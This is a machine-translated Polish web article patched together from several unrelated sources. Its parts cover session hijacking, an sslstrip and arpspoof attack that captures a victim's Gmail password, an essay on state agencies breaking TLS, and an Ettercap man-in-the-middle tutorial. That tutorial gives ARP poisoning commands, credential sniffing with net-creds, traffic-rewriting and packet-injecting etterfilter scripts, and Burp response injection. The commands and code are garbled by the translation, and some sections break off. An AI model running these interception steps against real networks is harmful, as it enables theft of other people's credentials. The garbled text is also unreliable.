Konfiguracja sprzętu i oprogramowania

Easy Hack: Hackowanie sekretów prostych rzeczy. Instrukcje Ettercap: Atak Man-in-the-Middle (MitM), przechwytywanie hasła, obejście HSTS, podszywanie się pod dane w locie, używanie niestandardowych filtrów i wtyczek, podczepianie BeEF, infekcja backdoorem

Sposoby na zhakowanie i ochronę sesji przed kradzieżą

Większość witryn w Internecie jest otwarta na zewnętrzne wpływy hakerów. Nawet duże, drogie projekty internetowe są hackowane: pozostawiają ślady lub zabierają bazę danych. W rezultacie cierpi właściciel zasobu, a także odwiedzający.

Aby uniknąć problemów hakerskich, podczas opracowywania wymagane jest szereg środków. Niektóre działania zapobiegawcze należy przeprowadzić podczas działania witryny.

W poprzednich artykułach pokazywałem, jak działają serwery, a także serwery. Dzisiaj porozmawiamy o przechwytywaniu i ochronie sesji przez hakerów.

Sesja witryny

PHP jest prawdopodobnie najpopularniejszym językiem programowania po stronie serwera dla stron internetowych. W php sesja strony internetowej jest uruchamiana za pomocą polecenia session_start(). Przed rozpoczęciem możesz określić dodatkowe parametry. Sesja zazwyczaj przechowuje ważne dane osobowe o użytkowniku: login, imię, hasło, ..

Przejmowanie sesji

Identyfikator sesji można przechowywać na 2 sposoby: w plikach cookie oraz w pasek adresu. Pierwsza opcja jest bezpieczniejsza niż druga, ale obie można w różnym stopniu zhakować. Ten typ Hack nazywa się przejmowaniem sesji.

Niech identyfikator będzie przechowywany w adresie URL witryny. Zalogowany gość, przechadzając się po stronach Twojej witryny, decyduje z kimś. Publikując link, podaje link ze swoim identyfikatorem sesji. Jeżeli strona nie posiada żadnych dodatkowych metod ochrony, to klikając w taki link, nowy odwiedzający będzie już zalogowany jako pierwszy użytkownik, o ile sesja jeszcze się nie zakończyła. Następnie rób, co chcesz na stronie, w granicach dozwolonych przez zasady.

Sprawy są bardziej skomplikowane z plikami cookie, ale wszystko jest również dość łatwe do przechwycenia. Wiele witryn nie filtruje skryptów przeglądarki, gdy użytkownicy publikują informacje. Potencjalny haker umieszcza taki skrypt na stronie. Zalogowany użytkownik odwiedza stronę... Skrypt odczytuje wartość pliku cookie lub pasek adresu i przekazuje identyfikator sesji do innej witryny. Druga strona należy do hakera. Co więcej, wszystko jest proste. Plik cookie jest sfałszowany lub wprowadzany jest adres strony witryny z żądanym identyfikatorem sesji.

Hackowanie sesji

Po rozpoczęciu sesji pliki sesji są tworzone w katalogu tymczasowym. Te pliki przechowują informacje. Jeśli jest używany, zwykle folder tymczasowy do przechowywania sesji jest współdzielony przez wszystkie witryny na serwerze. Ponadto w pewien sposób dane sesji są odczytywane przez własny skrypt. Aby to zrobić, atakujący musi mieć konto na tym samym serwerze. W rezultacie, jeśli hasło ze strony lub numer karty kredytowej z kodem cvv jest przechowywane w sesji, wszystkie te przydatne informacje wpadną w ręce atakującego.

Ochrona przed włamaniem do danych sesji

  • Przechowuj sesję w plikach cookie. Trudniej do zniesienia.
  • Powiąż sesję z adresem IP komputera. Podczas wchodzenia z innego adresu IP tworzona jest nowa sesja w zależności od ustawień skryptu.
  • Powiąż sesję z agentem użytkownika przeglądarki. Gdy logujesz się z innej przeglądarki, sesja jest resetowana do zera.
  • Zaszyfruj parametry przekazywane do sesji. Jeśli atakujący otrzyma plik sesji, nie będzie mógł go odczytać. Chociaż jeśli masz pewne umiejętności, możliwe jest również odszyfrowanie sesji.
  • Przechowuj identyfikatory sesji w osobnym folderze. W php jest do tego polecenie session_save_path($path_to_dir). To samo ustawienie można zapisać w pliku php.ini. Parametr nazywa się session.save_path.
  • Użyj session_set_save_handler() w php, aby nadpisać sposób przechowywania sesji. A od PHP 5.4 możesz przekazać obiekt typu SessionHandlerInterface do session_set_save_handler().

Pokażę i powiem, jak używać narzędzia sslstrip do przechwytywania danych przesyłanych przez bezpieczne połączenie SSL.
Narzędzie sslstrip w moim przykładzie (po wykonaniu ataku ARP-spoofing na ofiarę) przechwyci żądanie klienta internetowego ofiary w celu ustanowienia bezpiecznego połączenia SSL i zmusi go do użycia niezabezpieczonego Protokół HTTP. Następnie przyjrzę się temu, co robi ofiara, nie zwracając uwagi na fakt, że czyta pocztę nie przez HTTPS, ale przez HTTP.

Zobaczysz, jak łatwo zorganizować ataki MITM na SSL przy użyciu techniki arp-spoof i programu sslstrip.

W moim przykładzie ofiarą jest maszyna wirtualna z adresem IP 10.10.11.163 (zwykły samochód z systemem Windows), komputer z którego atakuję to 10.10.11.85 z zainstalowanym Kali OS i sslstrip (to narzędzie jest preinstalowane w pentester Kali\BackTrack dystrybucje Linux). Między nami jest brama z IP 10.10.11.1.

1. Gdy ofiara wejdzie na gmail.com, zostaje wysłana na adres https://gmail.com i jest to normalne. Oczywiście nie widzimy haseł i loginów do poczty ofiary w sposób przejrzysty.

2. Włączam routing ruchu na PC z Kali:

echo "1" > /proc/sys/net/ipv4/ip_forward

i skonfiguruj iptables tak, aby cały ruch http był kierowany na port 81:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j PRZEKIEROWANIE --to-port 81

arpspoof -i eth0 -t 10.10.11.163 10.10.11.1

teraz ruch ofiary przechodzi przez mój samochód i (zgodnie z moją zasadą iptables) jest kierowany na port 81.

3. Uruchom pasek ssls

sslstrip -a -l 81 -w /root/Desktop/ssllog.txt

to utworzy plik dziennika bezpośrednio na pulpicie i zacznie zapisywać w nim przechwycony ruch http (właściwie HTTPS zostanie przechwycony, ale zostanie usunięty).Cóż, ogólnie zaczynam oglądać ten plik na konsoli:

tail -f /root/Desktop/ssllog.txt

4. Ofiara idzie na swoją pocztę

Aby przeczytać pocztę, ofiara jak zwykle wspina się do MS Explorera (hehe) i wchodzi tam na gmail.com. Ale z jakiegoś powodu przeglądarka nie przekierowuje ofiary na https (w pasku adresu http)! Poniższy rysunek pokazuje, co ofiara zobaczy w ostatniej chwili, zanim poznam jej hasło i login.

Ofiara klika „Zaloguj się”… i w moim oknie, w którym wyświetlany był przechwycony ruch, widzę:

Jak widać hasło 1q2w3e4r5t6y...

Aby uniknąć zagrożeń związanych z przechwyceniem początku połączenia SSL, musisz:
- nie używaj gadżetów w niezaufanych sieciach, nawet jeśli jest to bardzo konieczne (złoczyńca może zorganizować MITM ze znacznie większym prawdopodobieństwem, powiedzmy na lotnisku, instalując fałszywy bezprzewodowy punkt dostępowy niż przez złamanie sieć korporacyjna Twoja organizacja);
- szyfruj pocztę protokołami szyfrowania symetrycznego (piszę i myślę o PGP);
- wypłacać administratorowi normalną pensję, aby nie miał ochoty szpiegować w ten sposób Twoich pracowników;
- śledź tabelę ARP i używaj sprzętu / oprogramowania monitorującego podbny atak;
- regularnie aktualizować oprogramowanie z zaufanych, legalnych źródeł.

Należy pamiętać, że ten artykuł ilustruje, co jest zabronione przez prawo, a zawarte w nim przykłady pokazują, jak łatwo jest zaatakować SSL wyłącznie w celach edukacyjnych.

W ostatnich latach nastąpiła zmiana trendu w strategii ataków służb specjalnych na najważniejszy protokół bezpieczeństwa dla Internetu TLS/SSL. Od teraz bezpośredni atak kryptograficzny i hakowanie nie jest już tylko ekstremalne, ale często niepotrzebne w ramach nowoczesny światśrodek, w którym pieniądze i zyski finansowe stają się główną siłą napędową.

Ze względu na wagę tego zagadnienia, w ramach cyklu publikacji, strona oferuje przegląd zabezpieczeń stosu protokołów TLS/SSL, równolegle z uwzględnieniem spójnych i systematycznych strategii osłabiania tych protokołów przez agencje wywiadowcze.

Generowana jest jedna trzecia bezpiecznego ruchu na świecie środki kryptograficzne z celowo osłabionym PRNG?

Usunięto z kanału

Jako materiał siewny zwróćmy się do przykładu rosyjskiego - ostatnia rozprawa sądowa w sprawie były właściciel system płatności Chronopay Pavel Vrublevsky, oskarżony o atak DDoS na Aeroflot.

Istotą kluczowej historii było to, że sąd zażądał wewnętrznej korespondencji między uczestnikami tego procesu karnego, który prowadzili za pośrednictwem osobistych kont na Facebooku. Pomimo tego, że zawierał najważniejsze obciążające informacje, podstępny Amerykanin… sieć społeczna nie uwzględnił wniosku rosyjskiego wymiaru sprawiedliwości i odmówił dostępu do prywatnej korespondencji obywateli Federacji Rosyjskiej. I wtedy następuje bardzo dramatyczny punkt zwrotny w tej historii – FSB, wykonując decyzję sądu, samodzielnie „wydobywa” korespondencję tych obywateli.

„Centralne Biuro Informacyjne FSB, zgodnie z ustawą „O działalności operacyjno-śledczej”, dokonało samodzielnego pobrania informacji z kanałów komunikacyjnych tych osób i utrwaliło je na płycie DVD”.

Rzeczywiście, później strona obrony była w stanie zweryfikować, czy niezbędna korespondencja osobista została „usunięta z sieci w całości i w zakresie” wbrew woli Facebooka. Jednocześnie sami oskarżeni w tej sprawie odmówili udostępnienia śledztwu swoich haseł i korespondencji samoobciążającej. W RuNet można znaleźć krzykliwe nagłówki wiadomości, takie jak „Rosyjskie serwery Facebooka zhakowane przez FSB”, ale nie powinieneś tak daleko wyciągać wniosków.

Po pierwsze, wszystkie sesje komunikacyjne z Facebookiem odbywają się wyłącznie za pośrednictwem bezpiecznego protokołu komunikacyjnego HTTPS. Po drugie, od czasu ostatnich kontaktów oskarżonych i ta decyzja sądowi (a co za tym idzie czynnościom śledczym FSB w celu wykonania tej decyzji) minęło sporo czasu. Z jakiego rodzaju „kanału” można „usunąć” te „dane z przeszłości”, jeśli sami oskarżeni nie weszli do sieci od tego czasu, będąc przedmiotem dochodzenia?

Zignorowali te bezpośrednie pytania zadawane przedstawicielom FSB podczas procesu. Najbardziej oczywista wersja odpowiedzi sugerowała się sama: ruch HTTPS z tą korespondencją został wcześniej sniffowany / przechowywany przez FSB, a następnie w jakiś sposób zhakowany.

Ciekawe, że prawie podobny przypadek został wcześniej odnotowany w materiałach tego samego przypadku. CIB FSB, powołując się na protokół śledztwa, „zapisując i analizując ruch połączenia internetowego jednego z oskarżonych, odzyskał login i hasło z panelu kontrolnego botnetu” (fizycznie znajdującego się na serwerze w Stanach Zjednoczonych), po który przejął zdalną kontrolę nad tym botnetem. Tak więc, dostęp do tego samego panelu internetowego został przez oskarżonych, ponownie, wyłącznie za pośrednictwem szyfrowanego połączenia HTTPS z zachowaniem środków bezpieczeństwa (na przykład bez zapisywania haseł na swoim komputerze lokalnym).

Tym samym stwierdzamy istnienie problemów z bezpieczeństwem HTTPS, powołując się na niesamowite przypadki przełamania „ochrony” TLS/SSL przez rosyjskie służby specjalne.

modus operandi

Aby złamać zaszyfrowaną sesję HTTPS, musisz rozwiązać dwa główne zadania: być w stanie nasłuchiwać (przechwytywać) ruch, a także być w stanie odszyfrować dane zawarte w tak bezpiecznym pakiecie.

Nie będziemy się rozwodzić nad pierwszym punktem, ponieważ służby specjalne mają fizyczny dostęp do niemal każdego kanału. Ci, którzy śledzą najnowsze wiadomości z SORMomostroenia, wiedzą już, że zgodnie z nowym prawem, od 1 lipca 2014 r. wszyscy rosyjscy dostawcy są zobowiązani do zainstalowania w swoich sieciach specjalnego sprzętu do rejestrowania i przechowywania ich tranzytowego ruchu internetowego w całości przez okres co najmniej 12 godzin. Ponadto siły bezpieczeństwa będą miały bezpośredni dostęp do wszystkich przechowywanych i tranzytowych tablic danych.

Jeśli mówimy o słuchaniu sesji HTTPS, to od razu zauważamy ważny punkt- konieczność nasłuchiwania w "trybie aktywnym" w niektórych przypadkach, ponieważ zapisany ruch nie zawsze może zostać później zhakowany. Mówimy o tzw. trybie progresywnego tajności (forward secrecy, FS) dla protokołu HTTPS, który uniemożliwia odzyskanie danych po zakończeniu sesji komunikacyjnej (nawet jeśli atakujący może później uzyskać ważne klucze strony). Obecność takiego trybu zobowiązuje atakującego do „wykuwania żelazka na gorąco” – czyli łamania danych w czasie rzeczywistym, co w zdecydowanej większości przypadków jest technicznie mało możliwe.

Zła wiadomość jest taka, że ​​Facebook, podobnie jak większość innych głównych portali internetowych, nie używa trybu utajniania przekazywania, ponieważ powoduje dodatkowe poważne obciążenie i tak już przeciążonej maszyny społecznościowej. Ponadto zastosowanie tak zaawansowanych algorytmów DH może niekorzystnie wpłynąć na kompatybilność z niektórymi popularnymi przeglądarkami. Teraz łatwo zrozumieć, dlaczego według statystyk Netcraft z lata 2013 r. około 70-99% połączeń SSL zaobserwowanych w tym monitoringu w ogóle nie korzystało z FS.

Oznacza to, że w zdecydowanej większości przypadków atakujący może bezpiecznie przechowywać ruch HTTPS w celu późniejszego pobrania i zhakowania (na przykład, gdy klucz serwera prywatnego stanie się znany).

Powyżej przedstawiono pomiar spadku wydajności na 6-rdzeniowym procesorze serwera WWW z odpowiednio włączonym i wyłączonym DHE. DHE jest wybierane jako najpopularniejsza i przykładowa implementacja Perfect Forward Secrecy. Na przykład Google, którego usługi obsługują prawie wszystkie kryptoinnowacje i środki ochrony swoich użytkowników (jest to uderzający wyjątek od ogólnej praktyki internetowej), wdraża krótkotrwałe („efemeryczne”) klucze sesji PFS oparte na ECDHE_RSA. I uwierz mi, to bardzo, bardzo drogie!

Biorąc pod uwagę tę uwagę, założymy, że wszystko jest mniej więcej jasne w przypadku przechwytywania ruchu. Zastanówmy się teraz, co dalej zrobić z zapisanym zaszyfrowanym strumieniem.

Wygląda na to, że ogólny algorytm w tym przypadku będzie wyglądał mniej więcej tak: przechwytując ruch zainteresowania, sesję HTTPS przechwytują hipotetyczne służby specjalne System informacyjny otrzymuje żądanie wyszukiwania odpowiedniego klucza serwera do swojej bazy danych. Jeśli taki klucz nie zostanie odnaleziony, jest on umieszczany w kolejce do dalszych obliczeń (złamania). Biorąc pod uwagę uwagę o faktycznej niedostępności opcji FS, zawsze warto po cichu gromadzić (rejestrować) ruch będący przedmiotem zainteresowania, nie czekając na odpowiedź systemu o gotowości/dostępności klucza do odszyfrowania w czasie rzeczywistym.

Jeśli chodzi o wspomnianą bazę kluczy serwerów, to już latem 2013 roku Cnet opublikował informacje i przykładowy dokument zapytania NSA do dużej firmy internetowej, która chciała pozostać anonimowa. Według tego źródła okazało się, że inne duże strony internetowe (Google, Microsoft, Apple, Yahoo, AOL, Verizon, AT&T itp.) otrzymały te same żądania. Cnet oficjalnie skontaktował się z tymi organizacjami w celu uzyskania komentarza. podobna prośba, ale w zdecydowanej większości przypadków firmy odmówiły potwierdzenia lub zaprzeczenia takich interakcji z NSA.

„Po raz kolejny ocieram stopy o mit, że open source to droga do niezawodności. Ten błąd w Debian OpenSSL miał prawie dwa lata.”

Rzeczywiście, udało się zamknąć tę lukę dopiero po wrzawie w prasie. Sam projekt Debian nazwał sytuację z długotrwałym błędem w swoim repozytorium OpenSSL „dość dziwną historią”.

Jeśli mówimy o osławionych „zakładkach” sprzętowych, to ostatnio rozkwitły one w brutalnym kolorze już w najbardziej nieoczekiwanych miejscach: od żelazek po ekspresy do kawy. Tak więc, według Spiegla, specjalny dział NSA „Special Access Operations” (Tailored Access Operations, TAO) przez długi czas przeprowadzał masowe przechwytywanie sprzętu komputerowego (i nie tylko) zakupionego przez różne firmy i kraje w drodze z dostawca do adresata. W tym samym czasie przechwycony sprzęt, wysłany do klienta będącego przedmiotem zainteresowania NSA, szybko przeszedł przez tajną „fabrykę” TAO, gdzie wprowadzono do niego zmodyfikowane oprogramowanie lub „błędy”. Taka interwencja w łańcuch dostaw dla własnych celów, określana specjalnym terminem „zakaz”, została oceniona przez samą NSA jako jeden z „najskuteczniejszych rodzajów nowoczesnych operacji”.

Alternatywy Ettercap

Ettercap jest najbardziej popularny program do ataku typu man-in-the-middle, ale czy jest najlepszy? W całym podręczniku zobaczysz, że Ettercap prawie nigdy nie jest używany samodzielnie, że ten lub inny program jest zawsze powiązany z nim w łańcuchu przetwarzania ruchu. Być może zwiększa to elastyczność, ogólnie podejście to polega na: oparty na UNIX- jeden program wykonuje jedno zadanie, a użytkownik końcowy łączy różne programy, aby osiągnąć pożądany efekt. Dzięki takiemu podejściu kod programu jest łatwiejszy w utrzymaniu, takie miniaturowe "cegiełki" mogą być użyte do budowy systemu o dowolnej złożoności i elastyczności. Jednak posiadanie pięciu otwartych konsol z różnymi zadaniami, których praca programów ma na celu osiągnięcie jednego wyniku, nie jest zbyt wygodna, jest po prostu trudniejsza, jest szansa na popełnienie błędu na pewnym etapie, a całość skonfigurowana system będzie bezczynny.

Sniffy Net-Creds:

  • Odwiedzone adresy URL
  • wysłane żądania POST
  • loginy/hasła z formularzy HTTP
  • loginy/hasła do podstawowego uwierzytelniania HTTP
  • Wyszukiwania HTTP
  • Loginy/hasła FTP
  • Loginy/hasła IRC
  • Loginy/hasła POP
  • Loginy/hasła IMAP
  • Loginy/hasła Telnet
  • Loginy/hasła SMTP
  • Ciąg społeczności SNMP
  • wszystkie obsługiwane protokoły NTLMv1/v2, takie jak HTTP, SMB, LDAP itp.
  • Kerberos

Dobry wybór przechwyconych obrazów, a sieć dryfująca jest pod tym względem prostsza - pokazuje tylko przechwycone obrazy.

Przełącz maszynę w tryb przekazywania.

echo "1" > /proc/sys/net/ipv4/ip_forward

Uruchom Ettercap z GUI (-G):

Ettercap-G

Teraz wybierz zastępy niebieskie, ma akapit Skanuj w poszukiwaniu hostów. Po zakończeniu skanowania wybierz lista hostów:

Jak Cele1 wybierz router ( Dodaj do celu 1), jak Cele2 wybierz urządzenie, które chcesz zaatakować ( Dodaj do celu 2).

Ale tutaj może powstać pierwszy problem, zwłaszcza jeśli jest wielu gospodarzy. W różnych instrukcjach, w tym w przedstawionym powyżej wideo, autorzy wspinają się na maszynę docelową (z jakiegoś powodu każdy ma tam Windowsa) i używają polecenia, aby spojrzeć na adres IP tej maszyny w lokalna sieć. Zgadzam się, ta opcja jest nie do przyjęcia w rzeczywistych warunkach.

Jeśli skanujesz za pomocą, możesz uzyskać dodatkowe informacje o hostach, a dokładniej o producencie karty sieciowej:

nmap -sn 192.168.1.0/24

Jeśli dane nadal nie są wystarczające, możesz wykonać skanowanie z definicją systemu operacyjnego:

nmap -O 192.168.1.0/24

Jak widać maszyna z IP 192.168.1.33 okazała się być Windowsem, jeśli to nie jest znak z góry, to co to jest? lol

To właśnie dodajemy jako drugi cel.

Przejdźmy teraz do pozycji menu. Mitma. Tam wybierz Zatrucie ARP… Sprawdź pudełko Sniff zdalne połączenia.

Zaczynamy żniwa, w jednym oknie uruchamiamy

Kredyty netto

w innym (oba programy można uruchomić bez opcji)

sieć dryfująca

Zbieranie danych rozpoczęło się natychmiast.

Po prawej stronie sieć dryfująca otworzyła kolejne okno, które pokazuje przechwycone obrazy. W oknie net-creds widzimy odwiedzane strony i przechwycone hasła:

1.2 Ettercap + Burp Suite

3. Przeglądaj dane (odwiedzane strony internetowe i przechwycone hasła) w Ettercap

W menu pogląd mamy dostępne zakładki Znajomości oraz profile. Możesz również zaznaczyć pole Rozwiąż adresy IP(przetłumacz adresy IP). Połączenia to oczywiście połączenia. Ettercap zbiera profile w pamięci dla każdego wykrytego hosta. Gromadzone są tam użytkownicy i hasła. W takim przypadku profile z przechwyconymi danymi konta (hasłami) są oznaczone krzyżykiem:

Nie polegaj zbytnio na profilach - np. przechwycone loginy i hasła do FTP i innych usług są oznaczone, dla których program może jednoznacznie zinterpretować otrzymane informacje jako dane uwierzytelniające. Nie dotyczy to np. podstawowych danych uwierzytelniających, wprowadzonych loginów i haseł w formularzach internetowych.

W Connections najbardziej obiecujące dane są oznaczone gwiazdką:

Możesz dwukrotnie kliknąć te wpisy, aby wyświetlić szczegóły:

Aby nie szukać tych gwiazd na całej liście, możesz posortować według tego pola i wszystkie będą znajdować się na górze lub na dole:

Przechwycone uwierzytelnianie podstawowe:

Hasło logowania do Yandex (podświetlone poniżej):

Oto przechwycone dane uwierzytelniające dla Vkontakte:

Ponadto najciekawsze dane gromadzone są w dolnej konsoli:

Jeśli chcesz zapisać wyniki programu, użyj tych opcji (określ klucze podczas uruchamiania Ettercap:

Opcje logowania: -w, --write<файл>zapisz przechwycone dane do pliku pcapfile<файл>-L, --log<логфайл>napisz cały ruch do tego<логфайл>-l, --informacje dziennika<логфайл>napisz do tego tylko pasywną informację<логфайл>-m, --log-wiadomość<логфайл>napisz do tego wszystkie wiadomości<логфайл>-c, --compress użyj kompresji gzip dla plików dziennika

4. Podmiana danych w locie w Ettercap

4.1 Korzystanie z niestandardowych filtrów Ettercap

Uwaga: We wszystkich moich testach filtry Ettercap nie działały. Trudno zrozumieć, czy jest to w rękach, w funkcjach sprzętowych, czy w błędzie samego programu ... Ale dla wersji 0.8.2 (najnowszej w tej chwili) jest raport o błędzie o problemach z filtrami. Ogólnie rzecz biorąc, sądząc po raportach o błędach i forach, filtry albo często spadają, albo nie działają w ogóle przez długi czas. Istnieje gałąź, która została zmodyfikowana 5 miesięcy temu https://github.com/Ettercap/ettercap/tree/filter-improvements, czyli ulepszenia filtrów (z ulepszeniami filtrów). Dla tej gałęzi wykonano wiele różnych testów, a dla wersji z repozytorium, różne filtry były testowane w różnych warunkach, poświęcono dużo czasu, ale nie było rezultatu. Nawiasem mówiąc, aby zainstalować wersję ulepszeń filtrów w Kali Linux, musisz to zrobić:

sudo apt-get usuń ettercap-graphical ettercap-common sudo apt-get zainstaluj git debhelper sprawdzanie bizonów cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filtr-ulepszenia https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake_DOCSABLE_PDF = Włącz ../ make sudo make install

Ogólnie rzecz biorąc, jeśli twoje filtry nie działają, nie jesteś sam. W instrukcji do Ettercap nie mogę pominąć tematu filtrów, więc i tak będą brane pod uwagę.

Do tej pory używaliśmy Ettercap do spoofingu ARP. To bardzo powierzchowna aplikacja. Dzięki niestandardowym filtrom możemy interweniować i zmieniać ruch w locie. Filtry powinny być w oddzielne pliki i musi być skompilowany za pomocą programu Etterfilter przed użyciem. Wprawdzie dokumentacja, do której podany jest link, wydaje się być krótka, ale w połączeniu z poniższymi przykładami pozwoli na napisanie całkiem ciekawych filtrów.

Stwórzmy nasz pierwszy filtr, zastąpi on wszystkie obrazy następującym:

W pliku o nazwie img_replacer.filter kopia:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "Accept-Encoding")) ( replace("Accept-Encoding", "Accept-Bubbish!"); # uwaga: zastępujący ciąg ma taką samą długość jak oryginalny msg("zapped Accept-Encoding!\n"); ) ) if (ip.proto == TCP && tcp.src == 80) ( replace("src=" , " src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/ jollypwn.png\" "); replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC =", "src= \" http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); )

Skompiluj plik:

Etterfilter img_replacer.filter -o img_replacer.ef

Wyniki kompilacji:

Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team Załadowano 14 tabel protokołów: DEKODOWANE DANE udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth Załadowano 13 stałych: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Parsowanie pliku źródłowego „img_replacer.filter” gotowe. Rozkładanie meta-drzewa gotowe. Zakończono konwersję etykiet na rzeczywiste przesunięcia. Zapisywanie danych wyjściowych do "img_replacer.ef" zakończone. -> Skrypt zakodowany w 18 instrukcji.

Klucz -F mówi programowi, aby załadował filtr z pliku następującego po kluczu. Po kompilacji nazwa naszego nowego pliku z filtrem to img_replacer.ef, więc polecenie staje się:

Ettercap -G -F img_replacer.ef

Notatka O: Gdy monitorujesz ruch sieciowy, pakiety, które widzisz, mogą być w formie zaszyfrowanej. Aby filtry działały skutecznie, Ettercap potrzebuje ruchu w postaci zwykłego tekstu. Według niektórych obserwacji, rodzaj kodowania, którego używają strony internetowe to "Accept-Encoding: gzip, deflate"

Poniżej filtr nadpisujący kodowanie, wymuszający komunikację w postaci zwykłego tekstu:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "gzip")) ( replace("gzip", " "); # uwaga: cztery spacje w ciągu msg do replace ("whited out gzip\n"); ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "deflate")) ( replace("deflate", " "); # uwaga: siedem spacji w ciągu zastępczym msg("whited out deflate\n"); ) )

Szczegółowo opisana jest składnia do pisania filtrów, a potem jeszcze kilka przykładów:

# zamień tekst w pakiecie: if (ip.proto == TCP && search(DATA.data, "lol"))( replace("lol", "smh"); msg("filter uruchomiony"); ) # pokaż komunikat if tcp port to 22 if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( msg("Pakiet SSH\n"); ) ) # loguj cały ruch telnet , wykonaj również ./program na pakiet if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./logfile.log ") ; exec("./program"); ​​​​) ) # loguj cały ruch z wyjątkiem http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( log(DATA.data , "./logfile.log"); ) # niektóre operacje na pakiecie danych if (DATA.data + 20 == 0x4142) ( DATA.data + 20 = 0x4243; ) else ( DATA.data = "zmodyfikowane"; DANE .data + 20 = 0x4445; ) # odrzuć wszystkie pakiety zawierające "ettercap" if (search(DECODED.data, "ettercap")) ( msg("ktoś mówi o nas...\n"); drop( ); kill( ); ) # zapisuje odszyfrowane pakiety ssh pasujące do wyrażenia regularnego if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) ) ) # zabijanie pakietów if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Spoofing danych za pomocą Burp

Uruchamiamy Ettercap i Burp jak opisano w paragrafie 1.2 lub w paragrafie 2.2.

W Burp przejdź do Proxy -> Opcje. Znajdujemy tam Mecz i zamień . Kliknij Dodać aby dodać nową regułę.

  • Nagłówek żądania jest nagłówkiem żądania
  • prośba o treść- prośba o treść
  • nagłówek odpowiedzi- nagłówek odpowiedzi
  • ciało odpowiedzi- ciało odpowiedzi
  • Poproś o nazwę parametru- Zapytanie o nazwę parametru
  • Poproś o wartość parametru-Zażądaj wartości parametru
  • Poproś o pierwszą linię- Pierwsza linia zapytania

Jeśli potrzebujesz zmienić dane przesyłane metodą GET, dotyczy to nagłówków.

V znaczniki HTML istnieje również coś takiego jak głowa (tag głowy). Te wymienione powyżej nie mają nic wspólnego z tym nagłówkiem. Nieco wyżej mówi się o nagłówkach pakietów. Jeśli chcesz zmienić treść Strony HTML, należy zawsze wybierać treść odpowiedzi zamiast nagłówka żądania, nawet jeśli zamierzasz zmienić zawartość tagu head (na przykład tytuł).

Jeśli nie znasz wyrażenia regularne, to w zasadzie jest ok: HTML bardzo dużo wybacza, a czego nie rozumie, po prostu ignoruje - można z niego korzystać. Jeśli wiesz, jak używać wyrażeń regularnych, szanuję cię.)))

Na przykład utwórzmy nową regułę, zmień nagłówek żądania na treść odpowiedzi. W samej regule zmienimy się

.*<\/title> </p><p> <title>bez tytułu

Sprawdź pudełko Dopasowanie wyrażenia regularnego.

Teraz na wszystkich stronach (bez HTTPS) zamiast tytułu będzie brak tytułu:

Wstaw dowolny wiersz po tagu body (będzie to pierwszy wiersz w tekście). Nagłówek żądania jest zmieniany na treść odpowiedzi. Zmieniamy się

Sprawdź pudełko Dopasowanie wyrażenia regularnego.

W prawym górnym rogu (w zależności od układu) pojawia się napis „Jestem fajny!”. Możesz wstawić CSS, kod JavaScript, dowolny tekst - cokolwiek. Generalnie możesz wszystko usunąć ze strony, a następnie wypełnić ją własną treścią – wszystko zależy od Twojej wyobraźni.

Pojawił się pomysł, aby nieznacznie zmodyfikować każdy formularz, tak aby dane były przesyłane na serwer pierwotny oraz na serwer atakującego (zaimplementuj multi submit dla każdego formularza). Ale rozumując, że jeśli przesyłane dane nie są zaszyfrowane i mamy do nich dostęp, to i tak je widzimy, nie musimy wysyłać ich na żaden serwer. Niemniej jednak, jeśli ktoś tego potrzebuje, to naprawdę działający przykład przesyłania danych z jednego formularza do kilku serwerów jednocześnie.

5. Podłączenie wołowiny

Aby zacząć korzystać z funkcji BeEF, musimy osadzić plik JavaScript w HTML, zwykle linię taką jak:

Podobał Ci się artykuł? Podziel się z przyjaciółmi!
Czy ten artykuł był pomocny?
tak
Nie
Dziekuję za odpowiedź!
Coś poszło nie tak i Twój głos nie został policzony.
